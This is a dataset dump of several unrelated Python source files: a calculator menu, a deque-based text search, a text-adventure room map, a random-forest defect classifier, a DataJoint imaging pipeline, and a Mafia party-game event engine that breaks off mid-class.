Calculator!\")\n print(\"Type the option you would like\")\n print(\"1 Addition\")\n print(\"2 Subtraction\")\n print(\"3 Multiplication\")\n print(\"4 Division\")\n print(\"5 Modulus\")\n\n\ndef calculate():\n menu ()\n menuSelect = input (\"Option: \")\n menuSelect = int(menuSelect)\n inNum1 = int(input(\"First Number: \"))\n inNum2 = int(input(\"Second Number: \"))\n \n if (menuSelect == 1):\n print(\"Selected Addition\")\n print (addition(inNum1,inNum2))\n elif (menuSelect == 2):\n print(\"Selected Subtraction\")\n print (subtraction(inNum1,inNum2))\n elif (menuSelect == 3):\n print(\"Selected Multiplication\")\n print (multiplication(inNum1,inNum2))\n elif (menuSelect == 4):\n print(\"Selected Division\")\n print (division(inNum1,inNum2))\n elif (menuSelect == 5):\n print(\"Selected Modulus\")\n print (modulus(inNum1,inNum2))\n else:\n print (\"Unknown input\")\n\n#run programe\ncalculate()\n\n\n\n#print (addition(5,5))\n#print (subtraction(10,5))\n#print (multiplication(20,5))\n#print (division(100,2))\n#print (division(100,0))\n\n\n\n","sub_path":"DonFolder/Calculator/Calculator.py","file_name":"Calculator.py","file_ext":"py","file_size_in_byte":1651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"560752525","text":"from collections import deque\n\n'''\n保留有限历史记录正是 collections.deque 大显身手的时候\n比如,下面的代码在多行上面做简单的文本匹配,\n并返回匹配所在行的最后N行\n'''\ndef search(lines, pattern, history=5):\n previous_lines = deque(maxlen=history)\n for li in lines:\n if pattern in li:\n yield li, previous_lines\n previous_lines.append(li)\n\n# Example use on a file\nif __name__ == '__main__':\n with open(r'/tmp/somefile.txt') as f:\n for line, prevlines in search(f, 'python', 5):\n for pline in prevlines:\n print(pline, end='')\n print(line, end='')\n print('-' * 20)\n\n'''\n>>> q = deque()\n>>> q.append(1)\n>>> q.append(2)\n>>> q.append(3)\n>>> q\ndeque([1, 2, 3])\n>>> q.appendleft(4)\n>>> q\ndeque([4, 1, 2, 3])\n>>> q.pop()\n3\n>>> q\ndeque([4, 1, 2])\n>>> q.popleft()\n4\n\n在队列两端插入或删除元素时间复杂度都是 O(1)\n而在列表的开头插入或删除元素的时间复杂度为 O(N)\n'''","sub_path":"python3/py3test/left_N_line.py","file_name":"left_N_line.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"481101124","text":"#Escape - A Python Adventure\n# by Sean McManus \n#Typed in by Marco Muro\n\nimport time, random, math\n\n###############\n## VARIABLES ##\n###############\n\nWIDTH = 800 #window size\nHEIGHT = 800\n\n#PLAYER varibles\nPLAYER_NAME = \"Marco\"\nFRIEND1_NAME = \"Amanda\"\nFRIEND2_NAME = \"Leo\"\ncurrent_room = 31 #Start room \n\ntop_left_x = 100\ntop_left_y = 150\n\nDEMO_OBJECTS = [images.floor, images.pillar, images.soil]\n\n#########\n## MAP ##\n#########\n\nMAP_WIDTH = 5\nMAP_HEIGHT = 10\nMAP_SIZE = MAP_WIDTH * MAP_HEIGHT\n\nGAME_MAP = [[\"Room 0 - where unused objects are kept\", 0,0,False,False]]\n\noutdoor_rooms = range(1,26)\nfor planetsectors in range(1,26): #rooms 1 to 25 are generated here\n GAME_MAP.append([\"The dusty planet surface\",13,13,True,True])\n\nGAME_MAP += [\n #[\"Room name\", height, width, Top exit?, Right exit?]\n [\"The airlock\",13,5,True,False], # room 26\n [\"The enineeringlab\",13,13,False,False], # room 27\n [\"Poodle Mission Control\",9,13,False,True], # room 28\n [\"The viewing gallery\",9,15,False,False], # room 29\n [\"The crew's' bathroom\",5,5,False,False], # room 30\n [\"The airlock entry bay\",7,11,True,True], # room 31\n [\"Left elbow room\",9,7,True,False], # room 32\n [\"Right elbow room\",7,13,True,True], # room 33\n [\"The Science lab\",13,13,False,True], # room 34\n [\"The green house\",13,13,True,False], # room 35\n [PLAYER_NAME + \"'s sleeping quarters\", 9,11,False,False], # room 36\n [\"West corridor\",15,5,True,True], #room 37\n [\"The briefing room\",7,13,False,True], #room 38\n [\"The crews community room\",11,13,True,False], #room 39\n [\"Main Mission Control\",14,14,False,False],# room 40\n [\"The sick bay\",12,7,True,False], # room 41\n [\"West corridor\",9,7,True,False], # room 42\n [\"Utilities control room\",9,9,False,True],# room 43\n [\"Systems engineering bay\",9,11,False,False], # room 44\n [\"Security portal to Mission Control\",7,7,True,False], #room 45\n [FRIEND1_NAME + \"'s sleeping quarters\",9,11,True,True], #room 46\n [FRIEND2_NAME + \"'s sleeping quarters\",9,11,True,True], #room 47\n [\"The pipeworks\",13,11,True,False], #room 48\n [\"The chief scientist's office\",9,7,True,False], #room 49\n [\"The robot workshop\",9,11,True,False]#room 50\n ]\n#Simple sanity check on map above to check data entry\nassert len(GAME_MAP)-1 == MAP_SIZE, \"Mape siae and GAME_MAP don't match\"","sub_path":"listings/listing4-1.py","file_name":"listing4-1.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"283584965","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jul 28 19:17:34 2019\n\n@author: Logan Rowe\n\"\"\"\n\nimport numpy as np\nimport os\nimport sys\nimport pandas as pd\nfrom pandas.plotting import scatter_matrix\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.pipeline import Pipeline,FeatureUnion\nfrom sklearn.impute import SimpleImputer\n\nfrom sklearn.model_selection import cross_val_score,GridSearchCV,RandomizedSearchCV\nfrom sklearn.model_selection import StratifiedShuffleSplit\n\nfrom sklearn.metrics import precision_score, recall_score, f1_score\n\nfrom sklearn.externals import joblib\n\nfrom scipy.stats import expon,reciprocal\n\nimport data_prep as dp\n\nfrom imp import reload\nreload(dp)\n\nimport matplotlib.pyplot as plt\n\n\n################################################\n# LOAD DATA\n################################################\ndata_dir='C:\\\\Users\\\\Logan Rowe\\\\Desktop\\\\bowtie-defect-identification\\\\Wafer_Images\\\\bowtie-training-data'\nX_raw=np.load(data_dir+'\\\\std0_std45_sh0-arr_sh45-arr_bow-bool_train.npy')\n\n\n################################################\n# ADD COLUMN NAMES AND CONVERT TO PANDAS DF\n################################################\n\nc1=['std0','std45']\nc2=['sh0_{0}'.format(str(i)) for i in range(64)]\nc3=['sh45_{0}'.format(str(i)) for i in range(64)]\nc4=['bowties']\ncolumn_names=c1+c2+c3+c4\n\nseeking=True\nif seeking:\n X=dp.numpy_to_pd(X_raw,column_names)\n \n ################################################\n # SPLIT DATA INTO TEST AND TRAIN BOTH BALANCED\n # WITH RESPECT TO (NON)BOWTIES\n ################################################\n split=StratifiedShuffleSplit(n_splits=1,test_size=0.2,random_state=42)\n for train_index, test_index in split.split(X,X['bowties']):\n train=X.loc[train_index]\n test=X.loc[test_index]\n \n y_train=train['bowties'] \n X_train=train.drop(columns='bowties')\n \n pipeline=Pipeline([('Imputer',SimpleImputer(strategy='mean'))])\n \n \n X_train_trans=pipeline.fit_transform(X_train)\n \n \n param_grid={'max_depth':[8],\n 'bootstrap':[True,False],\n 'criterion':['gini','entropy'],\n 'min_samples_leaf':[9],\n 'max_features':['log2']\n }\n \n \n \n rnd_clf=RandomForestClassifier(n_estimators=10,n_jobs=-1,max_features='log2',random_state=42)\n grid_search=GridSearchCV(rnd_clf,param_grid=param_grid,cv=5,scoring='f1',verbose=2,n_jobs=-1,iid=True)\n grid_search.fit(X_train_trans,y_train)\n \n params=grid_search.best_params_\n \n clf=RandomForestClassifier(**params,n_estimators=500,n_jobs=-1,random_state=42)\n clf.fit(X_train_trans,y_train)\n \n y_test=test['bowties']\n X_test=test.drop(columns='bowties')\n X_test=pipeline.fit_transform(X_test)\n \n y_preds=clf.predict(X_test)\n \n F_CV=grid_search.best_score_ \n P,R,F=precision_score(y_test,y_preds),recall_score(y_test,y_preds),f1_score(y_test,y_preds)\n\n print(P,R,F,F_CV,params)\n #0.8076923076923077 0.8704663212435233 0.8379052369077307 0.8340339418922611 {'bootstrap': True, 'criterion': 'gini', 'max_depth': 8, 'max_features': 'log2', 'min_samples_leaf': 9} \n\nfinal_params_selected=True\nif final_params_selected:\n joblib.dump(clf,\"C:\\\\Users\\\\Logan Rowe\\\\Desktop\\\\bowtie-defect-identification\\\\classifiers\\\\RF_img_classifier.pkl\")\n\nexport_full_transformed_dataset=True\nif export_full_transformed_dataset:\n processed_data_dir='C:\\\\Users\\\\Logan Rowe\\\\Desktop\\\\bowtie-defect-identification\\\\preprocessed_datasets'\n \n #Training Data Set\n training_full=np.c_[X_train_trans,np.array(y_train)]\n joblib.dump(training_full,processed_data_dir+'\\\\RFC_img_train.pkl')\n \n #Testing Data Set\n testing_full=test\n joblib.dump(testing_full,processed_data_dir+'\\\\RFC_img_test.pkl') ","sub_path":"09_RFC_img.py","file_name":"09_RFC_img.py","file_ext":"py","file_size_in_byte":3855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"493024218","text":"import datajoint as dj\nfrom element_lab import lab\nfrom element_animal import subject\nfrom element_session import session_with_datetime as session\nfrom element_event import trial, event\nfrom element_calcium_imaging import scan, imaging\n\nfrom element_lab.lab import Source, Lab, Protocol, User, Location, Project\nfrom element_animal.subject import Subject\n\nfrom .paths import (get_imaging_root_data_dir,\n get_scan_image_files, get_scan_box_files, get_nd2_files)\n\n\nif 'custom' not in dj.config:\n dj.config['custom'] = {}\n\ndb_prefix = dj.config['custom'].get('database.prefix', '')\n\n__all__ = ['subject', 'lab', 'session', 'trial', 'event', 'scan', 'imaging', 'Subject',\n 'Source', 'Lab', 'Protocol', 'User', 'Project', 'Session', 'Location',\n 'get_imaging_root_data_dir', 'get_scan_image_files', 'get_scan_box_files',\n 'get_nd2_files']\n\n\n# ------------- Activate \"lab\", \"subject\", \"session\" schema -------------\n\nlab.activate(db_prefix + 'lab')\n\nsubject.activate(db_prefix + 'subject', linking_module=__name__)\n\nSession = session.Session\nExperimenter = lab.User\nsession.activate(db_prefix + 'session', linking_module=__name__)\n\n\n# Activate \"event\" and \"trial\" schema ---------------------------------\n\ntrial.activate(db_prefix + 'trial', db_prefix + 'event', linking_module=__name__)\n\n\n# ------------- Declare table Equipment for use in element_calcium_imaging -------------\n\n\n@lab.schema\nclass Equipment(dj.Manual):\n definition = \"\"\"\n scanner: varchar(32)\n \"\"\"\n\n\n# ------------- Activate \"imaging\" schema -------------\n\nimaging.activate(db_prefix + 'imaging',\n db_prefix + 'scan', linking_module=__name__)\n","sub_path":"workflow_calcium_imaging/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"310293337","text":"from enum import Enum, auto\nfrom typing import List, Union, Optional, Dict, Callable\n\nfrom .MInfo import *\nfrom .MPlayer import MPlayer, MPlayerID, NOTARGET\n\n# TODO: ELECT/DAWN events remove TIMER from queue (and stop timer later)\n\nclass MPhase(Enum):\n INIT = auto()\n DAWN = auto()\n DAY = auto()\n NIGHT = auto()\n DUSK = auto()\n\nclass EndGameException(Exception):\n pass\n\ndef dispVoteThresh(new_votee, former = False):\n former_str = \"f_\" if former else \"\"\n votee = former_str + \"votee\"\n if new_votee == NOTARGET:\n thresh = \"{0.no_kill_thresh}\"\n goal = 'for peace'\n else:\n thresh = \"{thresh}\"\n goal = 'to elect [{votee}]'.format(votee=\"{\"+votee+\"}\")\n return \"{num_votes}/{thresh} \".format(num_votes=\"{num_\"+former_str+\"voters}\", thresh=thresh) + goal\n\nclass MEvent:\n\n def read(self, mstate):\n pass # This phase is for reading data from mstate and doing initial calculations\n\n def msg(self, cast_main, cast_mafia, send_dm):\n pass\n\n def write(self, mstate):\n pass\n\n def next(self, pushEvent):\n pass\n\nclass START(MEvent):\n def __init__(self, ids, roles, contracts):\n self.ids = ids\n self.roles = roles\n self.contracts = contracts\n\n def read(self, mstate):\n self.known_roles = mstate.rules[known_roles]\n self.start_night = mstate.rules[start_night]\n\n def msg(self, cast_main, cast_mafia, send_dm):\n for id,role in zip(self.ids, self.roles):\n send_dm(ROLE_EXPLAIN[role], id)\n if role in CONTRACT_ROLES:\n (role,charge,succes) = self.contracts[id]\n send_dm(default_resp_lib[\"CHARGE_ASSIGN\"].format(charge=charge),id)\n roleDict = makeRoleDict(self.roles)\n msg = default_resp_lib[\"START\"]\n msg += dispKnownRoles(roleDict, self.known_roles)\n cast_main(msg)\n\n def write(self, mstate):\n for i,role in zip(self.ids, self.roles):\n player = MPlayer(i,role)\n mstate.players[i] = player\n mstate.player_order = list(mstate.players.keys())\n self.phase = MPhase.DAY\n mstate.day = 0\n if (self.start_night == \"ON\" or \n (self.start_night == \"ODD\" and len(self.ids) % 2 == 1) or\n (self.start_night == \"EVEN\" and len(self.ids) % 2 == 0)):\n self.phase = MPhase.NIGHT\n mstate.day = 1\n mstate.phase = self.phase\n\n mstate.contracts = self.contracts\n\n def next(self, push):\n if self.phase == MPhase.DAY:\n push(DAY())\n elif self.phase == MPhase.NIGHT:\n push(NIGHT())\n \nclass TIMER(MEvent):\n def read(self, mstate):\n self.phase = mstate.phase\n\n def msg(self, cast_main, cast_mafia, send_dm):\n if self.phase == MPhase.DAY or self.phase == MPhase.DUSK:\n msg = default_resp_lib[\"TIMER_DAY\"]\n elif self.phase == MPhase.NIGHT:\n msg = default_resp_lib[\"TIMER_NIGHT\"]\n cast_main(msg)\n \n def next(self, push):\n if self.phase == MPhase.DAY or self.phase == MPhase.DUSK:\n push(NIGHT())\n return\n if self.phase == MPhase.NIGHT:\n push(DAWN())\n\nclass NIGHT(MEvent):\n def read(self, mstate):\n self.players = mstate.player_order\n self.targeting_players = [p for p in mstate.players if mstate.players[p].role in TARGETING_ROLES]\n self.stunned = mstate.stunned\n\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"NIGHT\"]\n cast_main(msg)\n\n for targeting_player in self.targeting_players:\n if not targeting_player in self.stunned:\n msg = default_resp_lib[\"NIGHT_OPTIONS\"]\n msg += \"\\n\".join(listMenu(self.players))\n send_dm(msg, targeting_player)\n msg = default_resp_lib[\"NIGHT_OPTIONS\"]\n msg += \"\\n\".join(listMenu(self.players))\n cast_mafia(msg)\n\n def write(self, mstate):\n mstate.phase = MPhase.NIGHT\n for player in mstate.players.values():\n player.vote = None\n mstate.stripped = []\n mstate.vengeance = []\n\nclass MTARGET(MEvent):\n\n def __init__(self, actor, target):\n self.actor = actor\n self.target = target\n\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"MTARGET\"].format(actor=self.actor, target=self.target)\n cast_mafia(msg)\n\n def write(self, mstate):\n mstate.mafia_target = self.target\n mstate.mafia_targeter = self.actor\n self.finished = (mstate.mafia_target != None) and all(\n [p.target != None for p in mstate.players.values() if p.role in TARGETING_ROLES])\n\n def next(self, push):\n if self.finished:\n push(DAWN())\n\nclass TARGET(MEvent):\n \n def __init__(self, actor, target):\n self.actor = actor\n self.target = target\n\n def read(self, mstate):\n # asserts\n self.phase = mstate.phase\n \n def msg(self, cast_main, cast_mafia, send_dm):\n if self.target == NOTARGET:\n msg = default_resp_lib[\"NOTARGET\"]\n else:\n msg = default_resp_lib[\"TARGET\"].format(target=self.target)\n send_dm(msg, self.actor)\n\n def write(self, mstate):\n actor = mstate.players[self.actor]\n actor.target = self.target\n \n if self.phase == MPhase.NIGHT:\n self.finished = (mstate.mafia_target != None) and all(\n [p.target != None for p in mstate.players.values() if p.role in TARGETING_ROLES])\n elif self.phase == MPhase.DUSK:\n idiot = mstate.vengeance[\"idiot\"]\n self.finished = mstate.players[idiot].target != None\n\n def next(self, push):\n if self.phase == MPhase.NIGHT:\n if self.finished:\n push(DAWN())\n elif self.phase == MPhase.DUSK:\n push(VENGEANCE(self.actor,self.target))\n\nclass DAWN(MEvent):\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"DAWN\"]\n cast_main(msg)\n\n def write(self, mstate):\n # TODO: Calculate the entire dawn!\n # determine success/failure of each event\n\n event_list = []\n\n for stripper_id in [p for p in mstate.players if mstate.players[p].role == \"STRIPPER\"]:\n stripper = mstate.players[stripper_id]\n if not stripper.target in (NOTARGET, None):\n mstate.stripped.append(stripper.target)\n event_list.append(STRIP(stripper_id, stripper.target))\n \n target_saved = False\n if not mstate.mafia_target in (NOTARGET, None):\n for doctor_id in [p for p in mstate.players if mstate.players[p].role == \"DOCTOR\"]:\n doctor = mstate.players[doctor_id]\n if not doctor.target in (NOTARGET, None):\n success = doctor.target == mstate.mafia_target\n stripped = doctor_id in mstate.stripped\n event_list.append(SAVE(doctor_id, doctor.target, stripped, success))\n if success and not stripped:\n target_saved = True\n event_list.append(KILL(mstate.mafia_targeter, mstate.mafia_target, not target_saved))\n\n # TODO: add checks in MILK and INVESTIGATE to ensure they aren't ded\n for milky_id in [p for p in mstate.players if mstate.players[p].role == \"MILKY\"]:\n milky = mstate.players[milky_id]\n if not milky.target in (NOTARGET, None):\n stripped = milky_id in mstate.stripped\n success = (not (milky_id == mstate.mafia_target and not target_saved) and \n not (milky.target == mstate.mafia_target and not target_saved))\n event_list.append(MILK(milky_id, milky.target, stripped, success))\n \n for cop_id in [p for p in mstate.players if mstate.players[p].role == \"COP\"]:\n cop = mstate.players[cop_id]\n if not cop.target in (NOTARGET,None):\n stripped = cop_id in mstate.stripped\n success = (not (cop_id == mstate.mafia_target and not target_saved) and \n not (cop.target == mstate.mafia_target and not target_saved))\n event_list.append(INVESTIGATE(cop_id, cop.target, stripped, success))\n\n event_list.append(DAY())\n self.event_list = event_list\n # TODO: randomize order for milks?\n\n def next(self, push):\n push(self.event_list)\n\nclass STRIP(MEvent):\n def __init__(self, actor, target):\n self.actor = actor\n self.target = target\n \n def read(self, mstate):\n self.know_if_stripped = mstate.rules[know_if_stripped]\n self.target_role = mstate.players[self.target].role\n\n def msg(self, cast_main, cast_mafia, send_dm):\n if self.know_if_stripped == \"ON\":\n msg = \"You were distracted...\"\n send_dm(msg, self.target)\n elif self.know_if_stripped == \"TARGET\":\n if self.target_role in TARGETING_ROLES or self.target_role == \"CELEB\":\n msg = \"You were distracted...\"\n send_dm(msg, self.target) \n\nclass SAVE(MEvent):\n def __init__(self, actor, target, stripped, success):\n self.actor = actor\n self.target = target\n self.stripped = stripped\n self.success = success\n\n def read(self, mstate):\n self.know_if_stripped = mstate.rules[know_if_stripped]\n self.know_if_saved = mstate.rules[know_if_saved]\n self.know_if_saved_doc = mstate.rules[know_if_saved_doc]\n self.know_if_saved_self = mstate.rules[know_if_saved_self]\n\n def msg(self, cast_main, cast_mafia, send_dm):\n if self.stripped:\n if self.know_if_stripped == \"USEFUL\":\n msg = default_resp_lib[\"STRIP\"]\n send_dm(msg, self.actor)\n elif self.success:\n if self.know_if_saved == \"SAVED\":\n msg = default_resp_lib[\"SAVE\"].format(target=self.target)\n cast_main(msg)\n elif self.know_if_saved == \"SECRET\":\n msg = default_resp_lib[\"SAVE_SECRET\"]\n cast_main(msg)\n elif self.know_if_saved == \"OFF\":\n msg = default_resp_lib[\"KILL_FAIL_QUIET\"]\n cast_main(msg)\n if self.know_if_saved_doc == \"ON\":\n msg = default_resp_lib[\"SAVE_DOC\"]\n send_dm(msg, self.actor)\n if self.know_if_saved_self == \"ON\":\n msg = default_resp_lib[\"SAVE_SELF\"]\n send_dm(msg, self.target)\n\nclass KILL(MEvent):\n def __init__(self, actor, target, success):\n self.actor = actor\n self.target = target\n self.success = success\n\n def read(self, mstate):\n if self.success and not self.target in (NOTARGET, None):\n self.role = mstate.players[self.target].role\n\n def msg(self, cast_main, cast_mafia, send_dm):\n if self.target in (NOTARGET, None):\n msg = default_resp_lib[\"KILL_FAIL_QUIET\"]\n cast_main(msg)\n elif self.success:\n msg = default_resp_lib[\"KILL\"].format(target=self.target)\n cast_main(msg)\n\n def write(self, mstate):\n mstate.mafia_target = None\n mstate.mafia_targeter = None\n\n def next(self, push):\n if self.success and not self.target in (NOTARGET, None):\n push(ELIMINATE(self.actor, self.target))\n\nclass MILK(MEvent):\n def __init__(self, actor, target, stripped, success):\n self.actor = actor\n self.target = target\n self.stripped = stripped\n self.success = success\n \n def read(self, mstate):\n self.know_if_stripped = mstate.rules[know_if_stripped]\n\n def msg(self, cast_main, cast_mafia, send_dm):\n if self.success:\n if self.stripped:\n if self.know_if_stripped == \"USEFUL\":\n msg = default_resp_lib[\"STRIP\"]\n send_dm(msg, self.actor)\n else:\n msg = default_resp_lib[\"MILK\"].format(target=self.target)\n cast_main(msg)\n\nclass INVESTIGATE(MEvent):\n def __init__(self, actor, target, stripped, success):\n self.actor = actor\n self.target = target\n self.stripped = stripped\n self.success = success\n\n def read(self, mstate):\n if self.success:\n self.role = mstate.players[self.target].role\n self.cop_strength = mstate.rules[cop_strength]\n self.know_if_stripped = mstate.rules[know_if_stripped]\n\n def msg(self, cast_main, cast_mafia, send_dm):\n if self.success:\n if self.stripped:\n if self.know_if_stripped == \"USEFUL\":\n msg = default_resp_lib[\"STRIP\"]\n send_dm(msg, self.actor)\n else:\n reveal = self.role\n if reveal == \"GODFATHER\":\n reveal = \"TOWN\"\n elif reveal == \"MILLER\":\n reveal = \"MAFIA\"\n reveal = dispRole(reveal, self.cop_strength)\n msg = default_resp_lib[\"INVESTIGATE\"].format(target=self.target,role=self.reveal)\n send_dm(msg, self.actor)\n\nclass DAY(MEvent):\n\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"DAY\"]\n cast_main(msg)\n\n def write(self, mstate):\n mstate.mafia_target = None\n mstate.mafia_targeter = None\n for player in mstate.players.values():\n if not player.role in CONTRACT_ROLES:\n player.target = None\n mstate.stunned = []\n mstate.day += 1\n mstate.phase = MPhase.DAY\n\nclass REVEAL(MEvent):\n \n def __init__(self,actor):\n self.actor = actor\n\n def read(self, mstate):\n self.stripped = mstate.checkStripped(self.actor)\n self.revealed = mstate.checkRevealed(self.actor)\n self.role = mstate.players[self.actor].role\n\n def msg(self, cast_main, cast_mafia, send_dm):\n if not self.stripped:\n if not self.revealed:\n msg = default_resp_lib[\"REVEAL\"].format(actor=self.actor,role=self.role)\n else:\n msg = default_resp_lib[\"REVEAL_REMINDER\"].format(actor=self.actor,role=self.role)\n cast_main(msg)\n else:\n msg = default_resp_lib[\"STRIP\"]\n send_dm(msg, self.actor)\n\n def write(self, mstate):\n if not self.stripped:\n if not self.actor in mstate.revealed:\n mstate.revealed.append(self.actor)\n\nclass VOTE(MEvent):\n\n def __init__(self, voter, votee):\n self.voter = voter\n self.votee = votee\n\n def read(self, mstate):\n # TODO: include error checking?\n players = mstate.players\n voter = players[self.voter]\n self.f_votee = voter.vote\n\n if self.votee in players or self.votee in (NOTARGET, None):\n voter.vote = self.votee\n\n print(players)\n\n self.num_voters = len([v for v in players if players[v].vote == self.votee])\n self.num_f_voters = len([v for v in players if players[v].vote == self.f_votee])\n self.num_players = len(players)\n self.thresh = int(self.num_players/2) + 1\n self.no_kill_thresh = self.num_players - self.thresh + 1\n\n def msg(self, cast_main, cast_mafia, send_dm):\n\n def dispVoteThresh(votee, thresh, no_kill_thresh, num_voters):\n if votee == NOTARGET:\n used_thresh = no_kill_thresh\n goal = \" for peace\"\n else:\n used_thresh = thresh\n goal = \" to elect [{}]\".format(votee)\n return \"{}/{}\".format(num_voters, used_thresh) + goal\n\n msg = default_resp_lib['VOTE'].format(voter=self.voter, votee=self.votee)\n if self.votee == None:\n msg = default_resp_lib['VOTE_RETRACT'].format(voter=self.voter,f_votee=self.f_votee)\n else:\n # Add vote thresh info\n msg += \", \" + dispVoteThresh(self.votee, self.thresh, self.no_kill_thresh, self.num_voters)\n if self.f_votee != None:\n msg += \", \" + dispVoteThresh(self.f_votee, self.thresh, self.no_kill_thresh, self.num_f_voters)\n \n cast_main(msg)\n\n def next(self, pushEvent):\n if self.votee == None:\n return\n\n if ((self.votee == NOTARGET and self.num_voters >= self.no_kill_thresh) or\n (self.votee != NOTARGET and self.num_voters >= self.thresh)):\n pushEvent(ELECT(self.voter, self.votee))\n return\n\nclass ELECT(MEvent):\n def __init__(self, actor, target):\n self.actor = actor\n self.target = target\n\n def read(self, mstate):\n if not self.target in (NOTARGET,None):\n self.role = mstate.players[self.target].role\n self.idiot_vengeance = mstate.rules[idiot_vengeance]\n self.stunned = mstate.stunned\n self.players = mstate.players\n\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"ELECT\"].format(target=self.target)\n if self.idiot_vengeance != \"OFF\":\n if not self.target in (NOTARGET, None) and self.role == \"IDIOT\":\n msg += default_resp_lib[\"ELECT_IDIOT\"]\n if self.idiot_vengeance == \"DAY\":\n msg += default_resp_lib[\"ELECT_DAY\"]\n elif self.idiot_vengeance == \"STUN\":\n msg += default_resp_lib[\"ELECT_STUN\"].format(target=self.target)\n for player in self.players:\n if player in self.stunned:\n send_dm(default_resp_lib[\"STUN\"], player)\n cast_main(msg)\n\n def write(self, mstate):\n if not self.target in (NOTARGET, None):\n player = mstate.players[self.target]\n if player.role == \"IDIOT\":\n # Set the IDIOT's victory condition to true\n (role,charge,_) = mstate.contracts[self.target]\n mstate.contracts[self.target] = (role,charge,True)\n self.venges = [p_id for p_id in mstate.players if (mstate.players[p_id].vote == self.target and p_id != self.target)]\n mstate.vengeance = {'venges':self.venges,\n 'final_vote':self.actor, 'idiot':self.target}\n if self.idiot_vengeance == \"DAY\":\n # Reset votes\n for player in mstate.players.values():\n player.vote = None\n elif self.idiot_vengeance == \"STUN\":\n mstate.stunned = self.venges\n\n def next(self, push):\n event_list = []\n if not self.target in (NOTARGET, None):\n if self.role == \"IDIOT\":\n if self.idiot_vengeance == \"KILL\":\n push(DUSK(self.target))\n return\n elif self.idiot_vengeance == \"WIN\":\n push(WIN(\"IDIOT\"))\n return\n elif self.idiot_vengeance == \"DAY\":\n push(ELIMINATE(self.actor, self.target))\n return\n else:\n event_list.append(ELIMINATE(self.actor, self.target))\n event_list.append(NIGHT())\n push(event_list)\n\nclass DUSK(MEvent):\n def __init__(self, idiot):\n self.idiot = idiot\n\n def read(self, mstate):\n self.venges = mstate.vengeance['venges']\n\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"DUSK\"]\n cast_main(msg)\n msg = default_resp_lib[\"DUSK_OPTIONS\"]\n msg += \"\\n\".join(listMenu(self.venges))\n send_dm(msg, self.idiot)\n\n def write(self, mstate):\n mstate.phase = MPhase.DUSK\n\nclass VENGEANCE(MEvent):\n def __init__(self, actor, target):\n self.actor = actor\n self.target = target\n\n def read(self, mstate):\n if not self.target in (NOTARGET, None):\n self.role = mstate.players[self.target].role\n self.vengeance = mstate.vengeance\n\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"VENGEANCE\"].format(actor=self.actor, target=self.target)\n cast_main(msg)\n\n def next(self, push):\n event_list = []\n if not self.target in (NOTARGET, None):\n event_list.append(ELIMINATE(self.actor, self.target))\n event_list.append(ELIMINATE(self.vengeance['final_vote'], self.vengeance['idiot']))\n push(event_list)\n\nclass ELIMINATE(MEvent):\n def __init__(self, actor, target):\n self.actor = actor\n self.target = target\n\n def read(self, mstate):\n self.role = mstate.players[self.target].role\n self.reveal_on_death = mstate.rules[reveal_on_death]\n self.start_roles = mstate.start_roles\n\n def msg(self, cast_main, cast_mafia, send_dm):\n reveal = dispRole(self.role, self.reveal_on_death)\n msg = default_resp_lib[\"ELIMINATE\"].format(target=self.target,role=reveal)\n cast_main(msg)\n msg = default_resp_lib[\"SHOW_ROLES\"].format(dispStartRoles(self.start_roles))\n send_dm(msg, self.target)\n\n def write(self, mstate):\n del mstate.players[self.target]\n print(mstate.players)\n mstate.player_order = list(mstate.players.keys())\n \n self.relevant_contractors = []\n for (p,(role,charge,_)) in mstate.contracts.items():\n if charge == self.target:\n self.relevant_contractors.append((p,role))\n self.num_players = len(mstate.players)\n self.num_mafia = len([1 for p in mstate.players.values() if p.role in MAFIA_ROLES])\n\n def next(self, push):\n event_list = []\n for (p,role) in self.relevant_contractors:\n event_list.append(CHARGE_DIE(p, self.target, self.actor, role))\n if self.num_mafia == 0:\n event_list.append(WIN(\"Town\"))\n elif self.num_mafia >= (self.num_players+1) // 2:\n event_list.append(WIN(\"Mafia\"))\n push(event_list)\n\nclass CHARGE_DIE(MEvent):\n def __init__(self, actor, target, aggressor, role):\n self.actor = actor\n self.target = target\n self.aggressor = aggressor\n self.role = role\n\n def read(self, mstate):\n self.charge_refocus_guard = mstate.rules[charge_refocus_guard]\n self.charge_refocus_agent = mstate.rules[charge_refocus_agent]\n\n def msg(self, cast_main, cast_mafia, send_dm):\n msg = default_resp_lib[\"CHARGE_DIE\"].format(target=self.target, aggressor=self.aggressor)\n send_dm(msg, self.actor)\n\n def write(self, mstate):\n (self.role,charge,success) = mstate.contracts[self.actor]\n if self.role == \"AGENT\":\n success = True\n elif self.role in (\"GUARD\", \"SURVIVOR\"):\n success = False\n\n mstate.contracts[self.actor] = (self.role,charge,success)\n\n def next(self, push):\n if ((self.role == \"GUARD\" and self.charge_refocus_guard) or\n (self.role == \"AGENT\" and self.charge_refocus_agent)):\n push(REFOCUS(self.actor, self.target, self.aggressor, self.role))\n\nclass REFOCUS(MEvent):\n def __init__(self, actor, target, aggressor, role):\n self.actor = actor\n self.target = target\n self.aggressor = aggressor\n self.role = role\n\n def read(self, mstate):\n if self.actor == self.aggressor:\n if self.role == \"GUARD\":\n self.new_role = \"IDIOT\"\n elif self.role == \"AGENT\":\n self.new_role = \"SURVIVOR\"\n else:\n if self.role == \"GUARD\":\n 